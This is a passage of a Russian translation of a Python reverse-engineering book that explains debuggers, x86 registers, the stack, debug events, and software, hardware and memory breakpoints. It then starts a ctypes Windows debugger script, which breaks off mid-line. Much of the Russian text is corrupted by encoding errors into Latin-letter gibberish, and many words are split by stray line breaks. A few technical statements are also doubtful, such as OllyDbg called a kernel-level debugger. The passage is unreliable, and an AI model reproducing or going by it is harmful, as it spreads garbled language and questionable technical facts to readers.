типа на количестh элементов, которые u хотите u^_eblv в масси_ . В
предыдущем примере , 8-элементный массив симheh\ был определен для
переменной barley_char из объединения .

Теперь у Zk есть рабочее окружение Python на дmo отдельных системах , и
теперь u понимаете как aZbfh^_ckl\hать с низкоуроg_ыми
библиотеками . Настало j_fy для того , чтобы начать применять эти знания

для создания широкого списка инструментов для помощи в ре_jk-
инженерии и хакинге программ . НадеZ_f шлем .

ГЛАВА 2
Отладчики и устройстh отладчика


Отладчик - глазное яблоко хакера . Отладчики позheyxl Zf uihegylv
трассировку (отслеживание ) uiheg_gby процесса , или проh^blv
динамический анализ. Возможность uiheg_gby динамического анализа
абсолютно необходима, когда речь заходит о создании эксплойтов ,
поддержки фазеров и про_jdb j_^hghkgh]h ПО. Это очень Z`gh , чтобы u
понимали что такое отладчик , и принцип его работы . Отладчики
предостаeyxl целое множестh конкретных расширений и функционала,
которое очень полезно при оценке ошибок в программах . Большинстh из
них предостаeyxl hafh`ghklv зап

ускать , останаebать , или uihegylv
пошагоh процесс, устанаebать точки останоZ , манипулировать
регистрами и памятью , и отлаebать случающиеся исключения в
исследуемом процессе .

Но прежде чем мы дbg_fky дальше , даZcl_ обсудим разницу между
отладчиком белого ящика (white-box debugger) и отладчиком черного (black-
box debugger). Большинстh платформ разработки или IDE, содержат
kljh_gguc отладчик , который по

зhey_l разработчикам отслеживать
процесс uiheg_gby программы , имея исходный код, и контролируя очень
многое . Это назыZ_lky отладкой белого ящика . Эти отладчики полезны h
j_fy разработки ПО, но реверс -инженер , или охотник за багами , редко
имеет доступ к исходным кодам , и ему приходится испо
льзоZlv отладчики
черного ящика , h j_fy пошагоh]h uiheg_gby программы (трассироdb ).
Отладчик черного ящика предполагает , что исследуемая программа
полностью непрозрачна для хакера, и единст_ggZy доступная информация -
это дизассемблироZgguc код . При этом методе нахождения ошибок , более
сложном и затратном по j_f_gb , хорошо подготоe_gguc ре_jk- инженер в
состоянии понять устройстh программы на очень u
соком уроg_ . Иногда
ребята , ломающие программы , могут получить более глубокие знания и
понимание того, как работает программа , нежели разработчик ее создаrbc !

Очень Z`gh различать дZ подкласса отладчиков черного ящика : уроgy
пользоZl_ey и уроgy ядра . Уро_gv пользоZl_ey (как праbeh т .н . ring 3
( кольцо третьего уроgy, прим .)) - это режим процессора , в котором
запуск

аются Zrb пользоZl_evkdb_ приложения . Приложения уроgy
пользоZl_ey uihegyxlky с наименьшим количестhf приbe_]bc . Когда
u запускаете calc.exe чтобы что -то посчитать , u порождаете процесс на
уроg_ пользоZl_ey ; если u будете пошагоh uihegylv (тресироZlv ) этот
процесс, это будет отладка на уроg_ пользоZl_ey . Уро_gv ядра (ring 0) -
это наибольший уро_gv приbe_]bc . Это уро_gv , где работает ядро
операционной системы f_kl_ с драй_jZfb и другими низкоуроg_ыми

компонентами. Когда u анализируете сетеhc трафик (сниффаете, от sniffing
- " нюхать ", прим .) с помощью Wireshark, u aZbfh^_cklуете с драй_jhf ,
который работает на уроg_ ядра . Если u хотите останоblv драй_j , и
исследоZlv его состояние в любой точке , то Zf понадобится отладчик
уроgy ядра .

Сейчас я при_^m Zf короткий список отладчиков уроgy ядра , часто
используемых ре_jk -инженерами и хакерами : WinDbg от Microsoft и
OllyDbg , бесплатн

ый отладчик от Oleh Yuschuk. При отладке под Linux,
обычно используют GNU Debugger (gdb) . Все три отладчика достаточно
мощны , и каждый предлагает такие hafh`ghklb, которые не доступны
другим отладчикам .

Однако в последние годы стала прояeylvky тенденция в интеллектуальной
отладке , особенно на платформе Windows. Интеллектуальный отладчик
поддержиZ_l скрипты (сценарии ), поддержиZ_l расширенные
hafh`ghklb , напр

имер такие , как uah\ перехZlZ , и что самое глаgh_ ,
имеют много hafh`ghkl_c используемых для охоты на баги (bug hunting) и
ре_jk -инженеринга . ДZ ноuo лидера в этой сфере : PyDbg от Pedram Amini
и Immunity Debugger от Immunity inc.


2.1. Регистры общего назначения центрального процессора

Регистр - это небольшой объем памяти находящийся прямо на центральном
процессоре , и доступ к нему - быстрейший метод для процессора , чтобы
получить данные . В наборе инструкций архитектуры x86 испо

льзуются
hk_fv регистров общего назначения : EAX, EDX, ECX, ESI, EDI, EBP, ESP и
EBX. Большинстh регистров доступны процессору, но мы рассмотрим их
только в конкретных обстоятельствах , когда они потребуются . Каждый из
hkvfb регистров общего назначения разработан для сh_c конкретной
работы , и каждый uihegy_l сhx функцию , которая позhey_l процессору
эффектиgh uihe

нять инструкции . Это очень Z`gh - понимать , какой
регистр для чего используется , ибо это знание положит фундамент
понимания того, как устроен отладчик. ДаZcl_ пройдемся по каждому
регистру и его функциям . Мы закончим uiheg_gb_f простым упражнением
ре_jk -инженерии , для иллюстрации их использоZgby .

Регистр EAX, так же назыZ_fuc регистром аккумуляции (или
аккумулятором ), использует

ся для uiheg_gby расчетов, а так же для
хранения значений haращаемых uaанными функциями . Многие
оптимизироZggu_ инструкции в наборе инструкций x86 разработаны для
перемещения данных именно в регистр EAX и изe_q_gby данных из него, а
так же для uiheg_gby расчетов с этими данными . Большинстh простых
операций , таких как сложение , uqblZgb_ и ср
аg_gb_ оптимизироZgu для

использоZgby регистра EAX. Кроме того, многие определенные операции,
такие как умножение или деление , могут uihegylvky только в регистре
EAX.

Как было замечено ранее, haращенные значения из uauаемых функций
хранятся в EAX. Это Z`gh запомнить , что u можете легко определить , если
не удалось uaать функцию или наоборот удалось в заbkbfhklb от
значения находящегося в EAX. Кроме того , u можете определить
актуальное значени

е , которое haращает функция.

Регистр EDX это регистр данных (data register). Этот регистр в осноghf
яey_lky дополнительным для регистра EAX, и он помогает хранить
дополнительные данные для более сложных uqbke_gbc , таких как
умножение и деление . Он так же может быть хранилищем данных общего
назначения , но обычно он используется в расч
етах, uiheg_gguo в
сочетании с регистром EAX.

Регистр ECX так же называется регистром -счетчиком (count register) , он
используется в операциях цикла . Часто поlhjyxsb_ky операции стоит
хранить в упорядоченной пронумероZgghc строке . Очень Z`gh понимать ,
что счетчик регистра ECX уменьшает , а не у_ebqbает значение .
Продемонстрируем это на примере отрыdZ , написанного на Python:
counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter +=1

Если мы пере_^_f этот код в язык ассемблера , то в перhf цикле значение в
ECX будет раgh 10, 9 в следующем цикле и так далее . Вас может немного
смутить , что это протиhj_qbl тому , что написано в листинге на Python, но
просто запомните , что он уменьшается , и k_ будет хорошо .

В ассемблере x86 циклы , которые обрабатыZxl данные, полагаются на
регистры ESI и EDI для продуктиghc манипуляции данными . Регистр ESI


это индекс источника (source index) данных операции , и хранит адрес
oh^ys_]h потока данных . Регистр EDI указыZ_l на место , где находится
результат обработанных данных , поэтому он назыZ_lky индексом
назначения (приемника ) (destination index). Это легко запомнить таким
образом : регистр ESI используется для чтения данных , а EDI для записи .
ИспользоZgb_ регистров индексов источника и приемника зна
чительно
у_ebqb\Z_l произh^bl_evghklv uihegy_fhc программы .
Регистры ESP и EBP соот_lklенно указатель стека (stack pointer) и
указатель базы (base pointer). Эти регистры используются для упраe_gby
uahами функций и операциями со стеком . Когда функция uaана ,

аргументы функции перемещаются (проталкиZxlky ) в стек и следуют по
адресу haрата . Регистр ESP указыZ_l на самый _jo стека , поэтому он
будет указыZlv на адрес haрата . Регистр EBP указывает на самый низ
стека uahов . В некоторых случаях компилятор может использоZlv
оптимизацию для удаления регистра EBP как указателя кадра , в этих случаях
регистр EBP осh[h`^Z_lky и может ис
пользоваться точно так же , как любой
другой регистр общего назначения .

Единст_gguc регистр , который не был разработан для чего- то конкретного -
это EBX. Он может использоZlvky , как дополнительное хранилище данных .

Единст_gguc дополнительный регистр , который стоит упомянуть отдельно ,
это регистр EIP. Он указыZ_l на инструкцию , которая uihegy_lky в данный
момент . Как процессор проходит по дhbqghfm исполняемому коду, EIP
обноey_lky дл

я отображения адреса , по которому в данный момент
происходит uiheg_gb_.

Отладчик должен уметь легко читать и изменять содержимое этих регистров .
Каждая операционная система предостаey_l интерфейс отладчикам для
aZbfh^_cklия с процессором , hafh`ghklb изe_dZlv и модифицироZlv
данные в регистрах . Мы рассмотрим отдельные интерфейсы в глаZo о
конкретных операционных системах .


2.2 Стек

Стек - это очень Z`gZy структура , которую надо знать при разработке
отладчика . Ст

ек хранит информацию о том , как uauается функция , какие
параметры она забирает , и что надо _jgmlv после uiheg_gby функции .
Структура стека представляет собой модель " Перuc пришел, последний
ur_e " (FILO, First In, Last Out), когда аргументы проталкиZxlky в стек для
uahа функции , и изe_dZxlky из стека после того, как функция за_jrbl
сh_ uiheg_gb_ . Регистр ESP используется для отслежиZgby само

й
_jrbgu кадра стека , а регистр EBP используется для отслежиZgby самого
низа стека. Стек "растет " от _jogbo адресов памяти к нижним адресам
памяти . ДаZcl_ используем нашу предыдущую рассмотренную функцию
my_socks() , как простейший пример того, как работает стек .

На языке C:
int my_socks(color_one, color_two, color_three);

Вызов функции в ассемблере x86:

push color_three
push color_two
push color_one
call my_socks

Так будет u]ey^_lv стек изображено на Рисунке 2-1.

Рисунок 2-1. Кадр стека для uahа функции my_socks()

Переh^ обозначений:

 Stack growth direciton - напраe_gb_ роста стека .
 Base of stack frame - осноZgb_ (база ) кадра стека .
 Return adress - адрес haращаемого значения.

Как u можете b^_lv , это прямая структура данных и это основа для k_o
uauаемых функций в дhbqghf коде. Когда функция my_socks() за_jrZ_l
работу (и haращает какое -либо значение ), она ulZedbает из стека k_
значения и переходит к адресу haрата для продолжения uiheg_gby
родительской функции , которая её uaала . Рассмотрим понятие локальны
х
переменных. Локальные переменные это часть памяти , которая доступна
только для функции , которая uihegy_lky в данный момент . Немного
расширим функцию my_socks(), даZcl_ предположим , что перh_ , что будет
делать эта функция - это создаZlv массив симheh\ , в который будет
скопироZg параметр color_one . Код будет u]ey^_lv так :
int my_socks(color_one, color_two, color_three)
{
char stinky_sock_color_one[10];
...
}

Переменная stinky_sock_color_one будет находится в стеке так , что ее можно
использоZlv в конкретном кадре стека. Как только произошло это
распределение , кадр стека будет u]ey^_lv как на Рисунке 2-2.

Рисунок 2-2. Кадр стека после того, как была объявлена локальная
переменная stinky_sock_color_one

Теперь u уb^_eb , как локальная переменная размещается в стеке , и как
указатель стека у_ebqbается iehlv до точки _jrbgu стека. Способность
захZlblv кадр стека в отладчике очень полезно для пошагоh]h uiheg_gby
( трассироdb ) функций , захвата состояния стека при аварии программы , и
отслежив

ания переполнений стека.


2.3 События отладчика

Отладчик работает как бесконечный цикл который ждет события отладки .
Когда событие для отладки случается, цикл прерыZ_lky , и вызыZ_lky
соот_lklующий обработчик событий.

Когда uaан обработчик событий , отладчик останаeb\Z_lky и ждет
указаний, что ему делать дальше . Вот несколько обычных событий , которые
должен улаebать отладчик :

 Встреча точки останоZ (breakpoint)
 Нарушения памяти (так же назыZ_fu_ нарушениями доступа или
нарушением сегментации)
 Исключения, сгенерироZggu_ отлажиZ_fhc программой

У каждой операционной системы разный способ отпраdb этих событий
отладчику , которые будут описаны в главах , посys_gguo операционным
системам . В разных операционных системах могут быть перехZq_gu другие
события , например такие , как создание потока и процесса , или загрузка
динамической библиотеки h j_fy uiheg_gby . Мы рассмотрим эти
конкретные события , когда понадобится .

Преимущестh отладчика с hafh`ghklvx создания сцен
ариев (скриптов ) -
hafh`ghklv построить собст_ggu_ обработчики событий для
аlhfZlbaZpbb определенных задач отладки . Для примера , обычная причина
переполнения буфера - нарушения целостности памяти , и это предстаey_l
большой интерес для хакера . В течение обычной сессии отладки , если
случаются переполнение буфера и нарушения памяти, то u должны
перехZlblv отладчиком и в ручную получить информацию , которая Zf
интересна . Возмож

ность создаZlv эти настроенные Zfb обработчики, не
только сохраняют Zr_ j_fy , но и так же позheyxl Zf расширить
hafh`ghklv упраeylv процессом отладки.


2.4 Точки останоZ

Возможность останоblv отлаживаемый процесс достигается устаноdhc
точек останоZ (breakpoints). Останоb\ процесс, у Zk пояey_lky
hafh`ghklv про_jblv переменные , аргументы стека, и что находится в
памяти бе

з изменения переменных процесса , прежде чем u сможете
записать их . Точки останоZ - это определенно самая частая _sv, которую
u можете использоZlv при отладке процесса , и рассмотрим их очень
gbfZl_evgh . Есть три осноguo b^Z точек останоZ : программные (soft
breakponit), аппаратные (hardware breakpoint), и памяти (memory breakpoint).
Они _^ml себя очень похоже , но uihegyxlky очень разными способами.

2.4.1 Программные то

чки останова

Программные точки останова используются специально для останоdb
процессора при uiheg_gbb инструкций и это самый частый b^ точек
останоZ , который u будете использоZlv при отладке приложений .
Программный брейкпоинт - это однобитная интсрукция, которая
останавливает uiheg_gb_ отлажиZ_fh]h процесса и передает упраe_gb_
обработчику исключений точек останоZ . В целях понимания как это
работает , Zf следует знат

ь разницу между инструкцией (instruction) и
опкодом (opcode) в ассемблере x86.

Инструкция ассемблера - это ukhdhmjhнеh_ представление команды на
uiheg_gb_ для процессора . Пример:

MOV EAX, EBX

Эта инструкция гоhjbl процессору переместить значение , хранящееся в
регистре EBX в регистр EAX. Очень просто , пра^Z ? Однако , процессор не
знает , как интерпретироZlv эту инструкцию , ему нужно кон_jlbjhать её в
что -то , назыZ_fh_ опкодом . Код операции (code operation) или опкод это
команда машинного языка, которую uihegy_l процессор. Для иллюстрации ,
даZcl_ пере_^_f предыдущий пример инструкции в ег
о "родной " опкод:
8BC3

Как u можете b^_lv , он затемняет (обфусцирует) то, что реально
происходит " за сценой ", но это язык , на котором гоhjbl процессор . Думать
о инструкциях ассемблера , как DNS (прим . Сервер имён ) для процесора.
Инструкции упрощают hafh`ghklv запомнить команды uiheg_gby (имена
сайтов, хостов), f_klh запоминания k_o индиb^mZevguo опкодов (IP
адреса ). Вам очень редко понадобится использоZlv опкоды в Zr_
й
обыденной отладке , но они Z`gu для понимания целей программных точек
останоZ .

Если инструкция , которую мы рассматриZeb ранее , будет находится по
адресу 0x44332211 , общее предстаe_gb_ будет u]ey^_lv так :
0x44332211: 8BC3 MOV EAX, EBX

Это отображаются адрес , опкод , и ukhdhmjhнеZy инструкция ассеблера .
Для того, чтобы устаноblv программный брейкпоинт по этому адресу и
останоblv процессор, мы заменим один байт из 2-байтного опкода 8BC3.
Этот одиночный байт предстаey_l собой инструкцию прерыZgby (interrupt)
3 (INT 3 ), которая "приказыZ_l " процессору останоblky. Инструкция INT3
кон_jlbjm_lky в однобайтный опкод 0xCC. Вот наш предыдущий пример до
и после устаноdb точки останоZ .

Опкод до устаноdb то

чки останоZ :
0x44332211: 8BC3 MOV EAX, EBX

МодифицироZgguc опкод после устаноdb точки останоZ :

0x44332211: CCC3 MOV EAX, EBX

Вы можете b^_lv , что заменили байт 8B на байт CC. Когда процессор идет
ijbiju`dm (кроме шуток , comes skipping along) и натыкается на этот байт ,
он останаebается и запускает событие INT 3 . Отладчики имеют
kljh_ggmx hafh`ghklv обрабатыZlv это событие , но прежде чем u
разработаете Zr собст_gguc отладчик , надо хорошо понимать , как они
делают это. Когда отладчик гоhjbl устаноblv точку останоZ в желаемый
адрес , он снач

ала читает перuc байт опкода по запрошенному адресу и
сохраняет его . Затем отладчик записыZ_l CC байт по этому адресу . Когда
точка останоZ , или INT 3 , срабатывает при интерпретации процессором
опкода CC, отладчик перехZluает это. Затем отладчик про_jy_l указыZ_l
ли указатель инструкций ( регистр EIP) на адрес , на который предZjbl_evgh
была устаноe_gZ точка ос

танова . Если адрес находится h gmlj_gg_f
списке точек останова , он записыZ_l обратно сохраненный байт по этому
адресу , чтобы опкод мог uihegblvky праbevgh , после продолжения
uiheg_gby процесса. Рисунок 2-3 детально описыZ_l этот процесс.

Рисунок 2-3. Процесс устаноdb программной точки останоZ
Переh^ обозначений:

 1) Отладчик посылает инструкцию устаноblv точку останоZ по
адресу 0x44332211; он считывает и сохраняет первый байт.
 2) ПереписыZ_l перuc байт на опкод 0xCC (INT 3).

 3) Когда процессор klj_qZ_l точку останова , происходит gmlj_ggbc
поиск , и байт haращается на место .
 Breakpoint List - список точек останоZ .

Как b^bl_ , отладчик должен слоgh станцевать, чтобы обработать
программную точку останоZ . Есть два типа точек останоZ , которые u
можете устаноblv : одноразоu_ (one-shot) брейкпоинты и стойкие
(persistent) точки останоZ . Одноразоu_ точки останоZ подразумеZxl то,
что точка останоZ klj_qZ_lky , она удаляется из gmlj_gg_]h списка точек
останоZ отладчика , они удобны для только одной устаноdb . Стой
кая точка
останоZ hkklZgZливается после того, как процессор uihegbl
оригинальный опкод, поэтому запись в списке отладчика сохраняется.

Однако программные точки останоZ имеют одно ограничение , когда u
меняете байт исполняемого в памяти, u изменяете контрольную сумму
циклического избыточного кода (Cyclic redundancy code, CRC) uihegy_fh]h
приложения . CRC - это тип функции , которая используется для определения
изменения данных каки

м либо способом , и она может быть применена к
файлам , памяти , тексту , сетеuf пакетам , или чего- нибудь еще , за
изменением данных которого Zf надо наблюдать . CRC havf_l диапазон
данных , в данном случае память uihegy_fh]h процесса, и получит хэш
содержимого . Затем она сраgbает хеш с контрольной суммой для
определения были ли изменены данные . Если контрольная сумма отличается
от контрольной су

ммы , которая хранится для подт_j`^_gby , про_jdZ CRC
собьется . Важно заметить , как часто j_^hghkgh_ ПО будет проверять сhc
исполняемый код в памяти для любых изменений CRC и убьёт себя, если
обнаружится сбой . Это очень эффектиgZy техника для замедления ре_jk -
инженерии, таким образом предотjZsZ_lky использоZgb_ программных
точек останоZ , ограничиZy динамический ан

ализ его по_^_gby . Для того,
чтобы обойти эти особенности используются аппаратные точки останоZ .

2.4.2 Аппаратные точки останоZ

Аппаратные точки останоZ (hardware breakpoints) полезны , когда нужно
устаноblv небольшое число точек останоZ , и отлажиZ_fZy программа не
может быть модифицироZgZ . Этот тип точек устанаebается на уроg_
процессора , в специальных регистрах , назыZ_fuo регистрами отладки .
Типичный процессор имеет 8 регистров отладки (по по

рядку с DR0 до DR7
соот_lklенно ), которые используются для устаноdb и упраe_gb_f
аппаратных точек. Регистры отладки с DR0 до DR3 зарезерbjhаны для
адресов точек останоZ . Это означает , что u можете использовать лишь 4
аппаратных точки одноj_f_ggh. Регистры DR4 и DR5 зарезерbjhаны , а
регистр DR6 используется , как регистр статуса , который определяет тип
события отладки , uaанного klj_q_c точки останоZ . Ре

гистр отладки DR7
по сущестm яey_lky udexqZl_e_f (de /ude ) аппаратных точек останоZ ,

а так же хранит разные состояния точек останоZ . При устаноd_
специальных флагов в регистр DR7, u можете создать точки останова в
следующих состояниях:

 Останов, когда инструкция uihegy_lky по определенному адресу .
 Останов, когда данные записыZxlky по адресу .
 Останов на чтение или запись , но не uiheg_gb_ .

Это очень полезно , если у Zk есть hafh`ghklv uklZить до четырех точек
останоZ в конкретные состояния без модифицироZgby uihegy_fh]h
процесса . Рисунок 2-4 покажет Zf как поля в DR7 сyaZggu с по_^_gb_f
аппаратных точек останоZ , длиной и адресом .

Биты 0-7 по сущестm переключатели (de /ude) для актиZpbb точек
останоZ . Поля L и G в битах 0-7 стоят для глобального и локального
масшт

аба . Я изобразил оба бита , как устаноe_ggu_ . Тем не менее , устаноdZ
только одного из них будет работать , и на моем опыте у меня не было каких
либо проблем в отладке на уроg_ пользоZl_ey. Биты 8-15 в DR7 не
используются для нормальных целей отладки , которые мы будем
осущестeylv . Об

ратитесь к мануалу по архитектуре Intel x86 для
дополнительного разъяснения назначения этих битов . Биты 16-31
определяют тип и длину точки останоZ , которая была устаноe_gZ для
сyaZggh]h регистра отладки.

Рисунок 2-4. Вы можете b^_lv , как установка флагов в регистре DR7
указыZ_l тип используемой точки останоZ

Переh^ обозначений:

 Layout of DR7 register - uод регистра DR7.
 Type - тип
 Len - сокр . длина .
 DR7 with 1-byte Execution Breakpoint Set at... - DR7 с точкой останоZ
на исполнение 1 байта устаноe_gghc по адресу ...
 DR7 with Additional 2-byte Read/Write Breakpoint at... - DR7 с точкой
останоZ на исполнение дополнительного 2-байтного чтения /записи по
адресу ...
 Breakpoint Flags - флаги точек останоZ
 Breakpoint Length Flags - фдаги длины точек останова
 Break on execution - останов , когда инструкция uihegy_lky .
 Break on data writes - останов на запись данных .
 Break on read or write but not execution - останов на чтение или запись ,
но не uiheg_gb_ .

В отличие от программных , которые используют событие INT3 , аппаратные
точки используют прерыZgb_ 1 (INT1). INT1 случается для аппаратных
точек останоZ и одноступенчатых событий. Одноступенчатый означает
проход по порядку по инструкциям , что позволяет Zf очень близко
исследоZlv критические участки кода h j_fy изменения наблюдаемых
данных .

Аппаратные точки останоZ обрабатыZxlky таким же способом , ка

к и
программные , но их механизм находится на низком уроg_ . Прежде чем
процессор попытается uihegblv инструкцию , он сначала про_jbl, не
устаноe_gZ ли на адрес аппаратная точка . Он так же про_jbl операторов
инструкции, не имеют ли они доступ к адресу , на который устаноe_gZ
аппаратная точка . Если адр
ес хранится в регистрах отладки DR0-DR3 и
услоby чтения , записи , или uiheg_gby встречаются , прерыZgb_ INT1
приказыZ_l процессору останоblvky . Если адрес не хранится в регистрах
отладки , процессор uihegy_l инструкцию и переходит к следующей, и эта
про_jdZ uihegy_lky сноZ , и так далее .

Аппаратные точки очень полезны , но у них есть некоторые ограничения .
Помимо того , что u может

е uklZить только четыре Zrbo точки в одно
j_fy , u так же можете устаноblv точку только на данные длинной 2
байта . Это может сильно ограничить Zk , если u собираетесь получить
доступ к большому участку памяти . Как праbeh , для обхода этих
ограничений u можете использоZlv точки останоZ памяти.

2.4.3. Точки останоZ памяти

Точки останоZ памяти яeyxlky не совсем точками останоZ . Когда
отладчик устанавливает точку памяти , он меняет разрешения на регион, или
страницу (page) памяти. Страница памяти - это наименьшая порция памяти,
которую обрабатыZ_l операционная система . Когда страница памяти
u^_ey_lky , у нее устанаebаются конкретные разрешения на доступ ,
которые указыZxl как эта память может быть доступна . Вот некоторые
примеры разрешен

ий на страницу памяти:

 Выполнение страницы (page execution) Дает hafh`ghklv uihegylv ,
но u^Z_l нарушение , если процесс попытается прочитать или записать
данные на страницу .
 Чтение страницы (Page read) Позhey_l процессу только считыZlv со
страницы; любая запись или попытка uiheg_gby uahут нарушение
доступа .
 Запись страницы (Page write) Позhey_l процессу записыZlv на
страницу .
 СторожеZy страница (Guard page) Любой доступ к сторожеhc
странице haращает единоj_f_ggh_ исключение , и затем страница
haращается к сh_fm перhgZqZevghfm статусу .

Большинстh операционных систем позheyxl Zf комбинироZlv эти
разрешения. Например, u можете иметь страницу памяти, куда u можете
писать и читать , в то j_fy , как другая страница может позheblv Zf
прочитать или uihegblv . Каждая о
перационная система так же имеет
присущие функции , позheyxsb_ Zf запрашиZlv конкретные разрешения
памяти в месте для особой страницы и изменять их , если понадобится .
Посмотрите на Рисунок 2-5, чтобы уb^_lv, как доступ к данным работает с
разными устаноe_ggufb разрешениями страницы памяти .

ГлаgZy интересующее нас разрешение для страницы - сторожеZy страница .
Этот тип страниц очень полезен для таких _s_c , как отделение кучи от
стек

а или убеждения в том , что часть памяти не разрастется за пределы
ожидаемого диапазона. Она так же хороша для останоdb процесса , когда он
klj_qZ_l особую часть памяти . Например , если мы ре_jk- инженируем
сетеh_ сер_jgh_ приложение , мы должны будем устаноblv точку останоZ
памяти на регион памяти, где хранится полезная нагрузка пакета , после его
получения . Это позhebl нам определить когда и как приложение ис

пользует
содержимое полученного пакета, как и любой имеющий доступ к этой
странице памяти будет останаebать процессор , кидая отладочное
исключение сторожеhc страницы . Затем мы можем про_jblv инструкцию ,
которая имеет доступ к буферу в памяти и определить , что происходит с
содержимым . Эта техника точ

ек останоZ так же работает с проблемами

деформации данных, которые имеют программные точки останоZ , так как
мы не изменяем исполняемый код.
Рисунок 2-5. По_^_gb_ разных разрешений страниц памяти

Переh^ обозначений:

 Read, Write, or Execute flags on a me mory page allow data to be moved in
and out or executed on - Флаги на чтение , запись или uiheg_gb_ на
странице памяти позheyxl данным быть записанными и полученными
или uiheg_gguf на странице .
 Any type of data access on a guard page will result in an exception being
raised. The original data operation will fail. - Любой тип доступа к
данным на сторожеhc странице при_^ml к hagbdghению
исключения . Оригинальная операция с данными не uihegblky .
 GUARD PAGE EXCEPTION - исключение сторожеhc страницы .

Наконец , мы рассмотрели некоторые простейшие аспекты того, как работает
отладчик и как он aZbfh^_cklует с операционной системой , теперь пришло
j_fy написать наш перuc легковесный отладчик на Python. Мы начнем с
создание простенького отладчика в Windows, где накопленные знания о
ctypes и gmlj_gghklyo отладчика нам очень пригодятся . ДаZcl_ разогреем
пальцы и перейдем к кодингу .

ГЛАВА 3
Создание отладчика под Windows


Теперь, когда мы рассмотрели осноu , пришло j_fy применить знания ,
полученные в предыдущих глаZo книги . Когда Microsoft разработала
Windows, она добаbeZ поразительное множество отладочных функций, что
бы помочь разработчикам и специалистам по обеспечению качестZ. В этой
гла_ , мы будем интенсиgh использоZlv эти функции , для создания
собст_ggh]h отладчика на Python’e. Важно отметить здесь и то , что мы, по
сути, сов

ершаем углубленное изучение PyDbg (Педрама Амини), поскольку ,
на данный момент , это наиболее чистый Windows- отладчик, написанный на
Python ( прим. пер. есть еще один стремительно разbающийся WinAppDbg).


3.1 Debuggee, Where Art Thou?

Для того что бы uihegblv отладку процесса , у Zk должна быть
hafh`ghklv ассоциироZlv отладчик с отлажиZ_fuf процессом.
СледоZl_evgh , наш отладчик должен иметь hafh`ghklv либо открыть
исполняемый файл и запустить его , ли

бо присоединиться к уже запущенному
процессу . Windows debugging API – предостаey_l простой способ сделать и
то и другое .

Сущестmxl некоторые различия между открытием процесса и
присоединением к нему . Преимуществом открытия процесса есть то , что у
Zk есть hafh`ghklv получить контроль над процессом еще до того, как он
смож

ет запустить какой бы то ни было код . Это может быть удобно при
анализе j_^hghkguo программ или других типов j_^hghkgh]h кода. При
присоединении u debgbаетесь в уже работающий процесс, что позhey_l
пропускать часть кода и анализироZlv специфические области, в которых u
заинтересоZgu. В заbkbfhklb от того, что отлажиZ_lky и то како
й анализ
нужно проделать - u u[bjZ_l_ , какой подход Zf использоZlv .

Перuc способ, получения процесса выполняющегося под отладчиком – это
запустить исполняемый файл испод самого отладчика . Для создания
процесса в Windows, Zf нужно uaать функцию CreateProcessA() [1]
.
УстаноdZ конкретных флагов, которые передаются в эту функцию
аlhfZlbq_kdb , dexqZ_l процесс отладки. Вызов CreateProcessA() u]ey^bl
так :
BOOL WINAPI CreateProcessA(
LPCSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

На перuc a]ey^ это uah\ может показаться сложным , но , как и в ре_jk
инжиниринге , мы должны k_]^Z разбивать _sb на более мелкие части , что
бы понять общую картину . Мы будем иметь дело только с параметрами,
которые Z`gu для создания процесса испод отладчика , а именно :
lpApplicationName, lpCommandLine, dwCreationFlags, lpStartupInfo и
lpProcessInformation . Остальные параметры могут быть устаноe_gu в
NULL . Дл

я полного ознакомления с uahом этой функции , обратитесь к
записи в Microsoft Developer Network (MSDN). Первые дZ параметра
используются для устаноdb пути к исполняемому файлу , который мы хотим
запустить и устаноdb аргументов командной строки, которые он
( исполняемый файл ) принимает . Параметр dwCreationFlags занимает особое
значение , которое указыZ_l на то , что процесс должен быть запущен в
кач

ест_ отлажиZ_fh]h процесса . Последние дZ параметра яeyxlky
указателями на структуры STARTUPINFO [2]
и
PROCESS_INFORMATION [3]
соот_lklенно , которые определяют , как
процесс должен быть запущен , а так же предостаeyxl Z`gmx информацию ,
касаемо самого процесса, после того как тот был успешно запущен .

Создайте дZ ноuo файла : my_debugger.py и my_debugger_defines.py . Затем
мы начнем создавать родительский класс debugger() , в который мы будем
постепенно добавлять функциональность отладчика кусок за куском . В
дополнение , мы поместим k

е : структуры, объединения и константы в файл
my_debugger_defines.py , для удобстZ в последующего сопроh`^_gby кода .

Example 1: my_debugger_defines.py
from ctypes import *

# Let's map the Microsoft types to ctypes for clarity
WORD = c_ushort
DWORD = c_ulong
LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE = c_void_p

# Constants
DEBUG_PROCESS = 0x00000001
CREATE_NEW_CONSOLE = 0x00000010

# Structures for CreateProcessA() function
class STARTUPINFO(Structure):
_fields_ = [
("cb", DWORD),

("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", DWORD),
("dwY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute",DWORD),
("dwFlags", DWORD),
("wShowWindow", WORD),
("cbReserved2", WORD),
("lpReserved2", LPBYTE),
("hStdInput", HANDLE),
("hStdOutput", HANDLE),
("hStdError", HANDLE),
]

class PROCESS_INFORMATION(Structure):
_fields_ = [
("hProcess", HANDLE),
("hThread", HANDLE),
("dwProcessId", DWORD),
("dwThreadId", DWORD),
]

Example 1: my_debugger.py
from ctypes import *
from my_debugger_defines import *

import sys
import time
kernel32 = windll.kernel32

class debugger():

def __init__(self):
pass


def load(self,path_to_exe):

# dwCreation flag determines how to create the process
# set creation_flags = CREATE_NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS

# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()

# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0

# We then initialize the cb variable in the STARTUPINFO struct

# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)

if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):

print "[*] We have successfully launched the process!"
print "[*] The Process ID I have is: %d" %
